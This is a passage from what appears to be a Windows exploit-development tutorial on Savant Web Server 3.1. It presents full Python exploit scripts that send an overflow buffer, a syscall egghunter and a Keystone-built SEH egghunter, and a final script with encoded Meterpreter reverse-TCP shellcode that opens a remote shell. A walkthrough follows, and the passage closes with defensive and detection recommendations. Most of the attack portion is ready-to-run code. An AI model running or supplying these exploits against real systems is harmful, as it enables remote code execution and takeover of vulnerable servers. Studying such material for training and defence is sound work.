egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
filler = b"A" * (253 - len(egghunter))
EIP = pack("<L", 0x418674) # POP EAX; RET
shellcode = b"w00tw00t" + b"D" * 400
payload = method + egghunter + filler + EIP + b"\r\n\r\n" + shellcode
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)







19.2 Secondary Buffer Bad Character Check
Before substituting a real shellcode, it is worth verifying that the heap buffer accepts every byte unaltered. Placing the full \x01–\xff sequence after the egg marker and inspecting memory at the JMP EDI breakpoint shows every byte intact. The HTTP body has no additional bad-character restrictions beyond the universal set (which Meterpreter generators handle natively). Any shellcode of reasonable size will land cleanly.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
filler = b"A" * (253 - len(egghunter))
EIP = pack("<L", 0x418674)
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
shellcode = b"w00tw00t" + badchars + b"D" * (400 - len(badchars))
payload = method + egghunter + filler + EIP + b"\r\n\r\n" + shellcode
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)



19.3 Final Exploit with Meterpreter Shell
The final exploit replaces the dummy D-buffer with an msfvenom-generated Meterpreter reverse-TCP payload, encoded to avoid the universal bad-character set, prefixed by the w00tw00t egg marker, and padded out to 500 bytes. A Metasploit multi/handler is configured with matching LHOST, LPORT, and EXITFUNC. Running the exploit triggers the same chain — partial overwrite, gadget pivot, conditional jump, egghunter scan — and the Meterpreter handler reports a session opening from the target.
import socket
from struct import pack
import sys
try:
server = sys.argv[1]
port = 8000
size = 260
method = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
filler = b"A" * (253 - len(egghunter))
EIP = pack("<L", 0x418674) # POP EAX; RET
shellcode = b""
shellcode += b"\x90" * 8
shellcode += b"\xb8\x44\x35\x1d\x4a\xdb\xcb\xd9\x74\x24\xf4"
shellcode += b"\x5f\x2b\xc9\xb1\x5e\x31\x47\x15\x83\xc7\x04"
shellcode += b"\x03\x47\x11\xe2\xb1\xc9\xf5\xc5\x39\x32\x06"
shellcode += b"\xba\x08\xe0\x8f\xdf\x0e\x8f\xc2\x2f\x45\xdd"
shellcode += b"\xee\xc4\x0b\xf6\x65\xa8\x83\xf9\xce\x07\xf5"
shellcode += b"\x34\xce\xa9\x39\x9a\x0c\xab\xc5\xe1\x40\x0b"
shellcode += b"\xf4\x29\x95\x4a\x31\xfc\xd3\xa3\xef\xa8\x90"
shellcode += b"\x6e\x1f\xdc\xe5\xb2\x1e\x32\x62\x8a\x58\x37"
shellcode += b"\xb5\x7f\xd4\x36\xe6\x0b\xbc\x18\x56\x87\x74"
shellcode += b"\x41\x57\x44\x01\xb8\x23\x56\x38\xc4\x85\x2d"
shellcode += b"\x0e\xb1\x17\xe4\x5f\x05\xbb\xc9\x50\x88\xc5"
shellcode += b"\x0e\x56\x73\xb0\x64\xa5\x0e\xc3\xbe\xd4\xd4"
shellcode += b"\x46\x21\x7e\x9e\xf1\x85\x7f\x73\x67\x4d\x73"
shellcode += b"\x38\xe3\x09\x97\xbf\x20\x22\xa3\x34\xc7\xe5"
shellcode += b"\x22\x0e\xec\x21\x6f\xd4\x8d\x70\xd5\xbb\xb2"
shellcode += b"\x63\xb1\x64\x17\xef\x53\x72\x27\x10\xac\x7b"
shellcode += b"\x75\x87\x61\xb6\x86\x57\xed\xc1\xf5\x65\xb2"
shellcode += b"\x79\x92\xc5\x3b\xa4\x65\x5f\x2b\x57\xb9\xe7"
shellcode += b"\x3b\xa9\x3a\x18\x12\x6e\x6e\x48\x0c\x47\x0f"
shellcode += b"\x03\xcc\x68\xda\xbe\xc6\xfe\xef\x3e\xd4\xfb"
shellcode += b"\x87\x3c\xd8\x02\xe3\xc8\x3e\x54\x43\x9b\xee"
shellcode += b"\x15\x33\x5b\x5e\xfe\x59\x54\x81\x1e\x62\xbe"
shellcode += b"\xaa\xb5\x8d\x17\x83\x21\x37\x32\x5f\xd3\xb8"
shellcode += b"\xe8\x1a\xd3\x33\x19\xdb\x9a\xb3\x68\xcf\xcb"
shellcode += b"\xa3\x92\x0f\x0c\x46\x93\x65\x08\xc0\xc4\x11"
shellcode += b"\x12\x35\x22\xbe\xed\x10\x30\xb8\x12\xe5\x01"
shellcode += b"\xb3\x25\x73\x2e\xab\x49\x93\xae\x2b\x1c\xf9"
shellcode += b"\xae\x43\xf8\x59\xfd\x76\x07\x74\x91\x2b\x92"
shellcode += b"\x77\xc0\x98\x35\x10\xee\xc7\x72\xbf\x11\x22"
shellcode += b"\x01\xb8\xee\xb1\x2e\x61\x87\x49\x6f\x91\x57"
shellcode += b"\x23\x6f\xc1\x3f\xb8\x40\xee\x8f\x41\x4b\xa7"
shellcode += b"\x87\xc8\x1a\x05\x39\xcd\x36\xcb\xe7\xce\xb5"
shellcode += b"\xd0\x18\xb5\xb6\xe7\xd8\x4a\xdf\x83\xd8\x4b"
shellcode += b"\xdf\xb5\xe5\x9a\xe6\xc3\x28\x1f\x5d\xcb\xb6"
shellcode += b"\xb5\xa8\x64\x6f\x5c\x11\xe9\x90\x8b\x56\x14"
shellcode += b"\x13\x39\x27\xe3\x0b\x48\x22\xaf\x8b\xa1\x5e"
shellcode += b"\xa0\x79\xc5\xcd\xc1\xab"
egg = b"w00tw00t" + shellcode + b"D" * (500 - len(shellcode))
payload = method + egghunter + filler + EIP + b"\r\n\r\n" + egg
print("[+] Sending Evil Buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.recv(1024)
s.close()
print("[+] Evil Buffer Sent...")
except Exception as e:
print(f"[!] Could Not Connect: {e}")
sys.exit(0)




20. The SEH-Based Egghunter
20.1 The Portability Problem
The syscall approach works, but it ties the egghunter to a specific Windows build. Move the exploit from Windows 10 to Windows 7 or Windows 11 and the syscall index changes, breaking the page-skip probe. The cure is to stop calling the kernel for memory validity altogether and instead let the kernel’s exception dispatcher do the work for free. A custom Structured Exception Handler installed at FS:[0] catches the access violation generated by the egghunter’s own REPE SCASD, modifies the saved EIP to skip past the faulting instruction, and resumes scanning. There is no hardcoded ordinal; the technique is OS-version agnostic.
20.2 Full Egghunter Code
The SEH egghunter is 63 bytes and is organized into five logical sections: an entry jump, a SEH-record builder (reached via CALL/POP for position independence), the egg-scan loop, a page-skip helper, and the exception handler itself. The CALL/POP idiom is essential: it captures the address of the handler at runtime without requiring any hardcoded absolute offset, which lets the same byte sequence work no matter where it is loaded in memory.
from keystone import *
CODE = (
# Jump forward so we can obtain our current address
# using a CALL/POP technique
"start: "
" jmp get_seh_address; "
# -----------------------------------------------------------------
# Build a custom SEH record
# -----------------------------------------------------------------
"build_exception_record: "
# Pop the return address from the CALL below.
# This address becomes our exception handler.
" pop ecx; "
# Load our egg signature ("w00t")
" mov eax, 0x74303077; "
# _EXCEPTION_REGISTRATION_RECORD.Handler
" push ecx; "
# _EXCEPTION_REGISTRATION_RECORD.Next
" push 0xffffffff; "
# Zero EBX
" xor ebx, ebx; "
# Install our SEH record:
# FS:[0] = pointer to _EXCEPTION_REGISTRATION_RECORD
" mov dword ptr fs:[ebx], esp; "
# -----------------------------------------------------------------
# Egg searching loop
# -----------------------------------------------------------------
"is_egg: "
# ECX = 2
# We want REPE SCASD to compare two DWORDs:
# "w00t" + "w00t"
" push 0x02; "
" pop ecx; "
# EDI points to the memory location currently being tested
" mov edi, ebx; "
# Compare EAX ("w00t") against two consecutive DWORDs.
# If an invalid page is accessed, an exception occurs and
# our SEH handler will redirect execution.
" repe scasd; "
# Not a match - continue searching one byte later
" jnz loop_inc_one; "
# Found "w00tw00t" - EDI points immediately after the egg
" jmp edi; "
# -----------------------------------------------------------------
# Invalid page handler target
# -----------------------------------------------------------------
"loop_inc_page: "
# Move to the end of the current memory page
" or bx, 0xfff; "
# -----------------------------------------------------------------
# Advance one byte and continue searching
# -----------------------------------------------------------------
"loop_inc_one: "
" inc ebx; "
" jmp is_egg; "
# -----------------------------------------------------------------
# Obtain the exception handler address via CALL/POP
# -----------------------------------------------------------------
"get_seh_address: "
" call build_exception_record; "
# -----------------------------------------------------------------
# SEH exception handler (reached only by dispatcher)
# -----------------------------------------------------------------
# ECX = 0x0C
" push 0x0c; "
" pop ecx; "
# Retrieve pointer to CONTEXT structure
# Stack layout during exception dispatch:
# [ESP+0x0C] -> CONTEXT*
" mov eax, [esp+ecx]; "
# Offset of EIP inside CONTEXT structure
" mov cl, 0xb8; "
# Modify saved EIP to point to loop_inc_page (6 bytes forward)
" add dword ptr [eax+ecx], 0x06; "
# Save original return value
" pop eax; "
# Clean up exception handler stack frame
" add esp, 0x10; "
# Restore return value
" push eax; "
# EXCEPTION_CONTINUE_EXECUTION - return 0
" xor eax, eax; "
# Return from exception handler
" ret; " )
# Initialize Keystone in x86 32-bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(dec)
print('egghunter = ("' + egghunter + '")')

20.3 Code Walkthrough
Execution begins with an unconditional JMP get_seh_address, the standard layout trick that puts the called function (build_exception_record) before the CALL site so the CALL’s return-address push gives us a pointer to a known location — the exception handler body itself.


Inside build_exception_record, POP ECX captures the handler address. The egg signature is loaded into EAX. The handler address is pushed (as _EXCEPTION_REGISTRATION_RECORD.Handler), and 0xFFFFFFFF is pushed as the Next field (the canonical chain terminator). EBX is zeroed and MOV DWORD PTR FS:[EBX], ESP installs the record at the head of the SEH chain.





![XOR EBX, EBX — zero EBX for FS:[0] offset and scan counter](https://core-jmp.org/wp-content/uploads/2026/06/sc133-xor-ebx.png)
![MOV FS:[EBX], ESP — install SEH record at FS:[0]](https://core-jmp.org/wp-content/uploads/2026/06/sc134-fs0-install.png)
The is_egg block is the heart of the scanner. PUSH 0x02; POP ECX loads the REPE repeat count of 2, so a single REPE SCASD compares two consecutive DWORDs against EAX (the w00t signature) — matching both halves of w00tw00t in one instruction. EDI is set to EBX, which doubles as the current scan address. If the address sits in an unmapped page, REPE SCASD faults, and the dispatcher invokes our handler. If the comparison runs successfully but the bytes do not match, ZF is cleared, JNZ loop_inc_one advances EBX by one byte, and the scan continues. On a full match, JMP EDI transfers control to the payload (EDI is already 8 bytes past the egg, exactly at the first byte of shellcode).






The handler block itself runs only when the dispatcher invokes it. PUSH 0x0C; POP ECX sets ECX to the offset of the CONTEXT* pointer within the dispatcher’s stack frame, and MOV EAX, [ESP+ECX] retrieves that pointer. The byte offset 0xB8 is the location of Eip inside the CONTEXT structure for 32-bit x86; ADD DWORD PTR [EAX+ECX], 0x06 advances the saved EIP by six bytes — just enough to skip past the faulting instruction so the scanner resumes at loop_inc_page. The handler then cleans up the dispatcher’s frame, zeros EAX (EXCEPTION_CONTINUE_EXECUTION), and returns. Control flow returns to scanning, but now one whole page further on, sidestepping the entire unmapped region in a single fault.
Key Takeaways
- Space constraints drive the architecture. Crash buffers of 60–120 bytes cannot hold a 350–500 byte staged payload; the only sustainable answer is two-stage delivery using a tiny scanner stub combined with a separately-staged secondary buffer.
- The egg marker decouples the payload from heap layout. Prefixing the staged payload with a fixed token (here
w00tw00t) lets the scanner resolve the address at runtime, removing any dependence on heap-allocation determinism. - Kernel probing keeps the process alive during scans. Either
INT 0x2EwithNtAccessCheckAndAuditAlarmor SEH-handledREPE SCASDturn access violations into recoverable events instead of process kills, allowing safe traversal of the entire virtual address space. - Null-byte avoidance is an arithmetic problem. When a desired immediate (like syscall ordinal
0x1C8) carries embedded nulls, encode it via negation (MOV EAX, 0xFFFFFE38; NEG EAX) or rely on pre-zeroed destination memory to supply trailing nulls (theJZ rel32trick). - SEH egghunters trade size for portability. The 63-byte SEH variant is larger than the 32-byte syscall version but works identically across Windows XP, 7, 10, and 11 without retuning the syscall ordinal — a major OPSEC win when targeting mixed environments.
- Multi-channel staging maximizes per-byte freedom. Splitting delivery across the URL path (bad-char constrained) and HTTP body (unrestricted) lets each stage be optimized against the rules that actually apply to it.
- Crash-time register analysis dictates gadget choice. Recognizing that
esp+4already pointed into the controlled buffer is what made the minimalistPOP EAX; RETchain possible — not every overflow needs a long ROP gadget chain to control flow.
Defensive Recommendations
- Enable mandatory ASLR and DEP across the entire image. ASLR randomizes both module bases and heap addresses, breaking the deterministic
0x00xxxxxxmodule layout that made the partial overwrite possible. DEP marks heap pages non-executable, blocking direct shellcode execution from the staged buffer. - Compile with SafeSEH, SEHOP, and Control Flow Guard. SafeSEH validates handler addresses at exception dispatch; SEHOP enforces SEH chain integrity at runtime; CFG constrains indirect call/jump targets. Together they make both syscall-based and SEH-based redirection meaningfully harder.
- Replace unbounded string copies. Eliminate
strcpy,strcat,sprintf, andgetsin favor of length-checked variants (strncpy_s,snprintf) or modern container types. This kills the root-cause buffer overflow before any of the downstream chain can begin. - Validate and bound HTTP-layer input early. Reject oversized URL paths, oversized method tokens, and malformed headers at the protocol parser before the buffer copy occurs. A 8 KiB header cap and a strict method-token whitelist would have closed this vulnerability outright.
- Document and unify input sanitization. If a parser truncates on specific byte values (like null terminators), apply that truncation uniformly across every input path. Inconsistent handling is what created the partial-overwrite primitive in this exploit.
- Compile with /GS (stack cookies), /SAFESEH, and /DYNAMICBASE. Stack cookies disrupt naive linear overflows that overwrite a saved return address; /SAFESEH and /DYNAMICBASE add the linker-level pieces that pair with the runtime ASLR/SafeSEH protections to make exploit chains substantially more expensive.
- Deploy ASR rules and host IPS signatures. Microsoft Defender Attack Surface Reduction (ASR) rules for “block executable content from email client and webmail” and “block process creations originating from PSExec and WMI commands” close common post-exploitation vectors. Host IPS signatures for
INT 0x2Ein user-mode code regions and for the canonical egghunter instruction patterns (theor dx, 0x0fff; inc edxsequence is highly distinctive) can flag exploitation attempts in real time. - Monitor for egghunter-class syscall patterns. Behavioral telemetry that watches for a high rate of access-violation exceptions originating from a single user-mode thread within a short window is a strong indicator of egghunter scanning. ETW providers like
Microsoft-Windows-Threat-Intelligenceand exception-dispatch instrumentation expose this signal cheaply to EDR pipelines.
Conclusion
Egghunters remain a foundational technique for converting cramped EIP-control primitives into full code execution on unmodernized Windows targets, and Savant Web Server 3.1 is a near-perfect teaching case because it forces every interesting decision: deal with a tiny crash buffer, work around a five-byte bad-character set including the null terminator, defeat a null-byte module base via partial overwrite, find a single-purpose POP EAX; RET gadget whose low three bytes are clean, jump out of the URL path into the method field with a null-free conditional jump whose displacement bytes are supplied by the server’s own pre-zeroed buffer, stage the payload through a second parser path that targets the heap, and finally choose between a compact 32-byte syscall-based scanner (with a NEG trick to handle the Windows 10 ordinal 0x1C8 without null bytes) or a slightly larger 63-byte SEH-based scanner that is fully portable across Windows builds. The chain demonstrates that constraints — the null terminator append, the pre-zeroed copy buffer — can be turned into mechanisms when the operator looks closely enough at what the parser does for them, and that the right egghunter is the one that solves the specific portability and size requirements of the engagement at hand.
Original text: “Overcoming Space Restrictions with Egghunters in Windows Exploit Development” by Remo (@Rem01x) at Remo’s Blog.

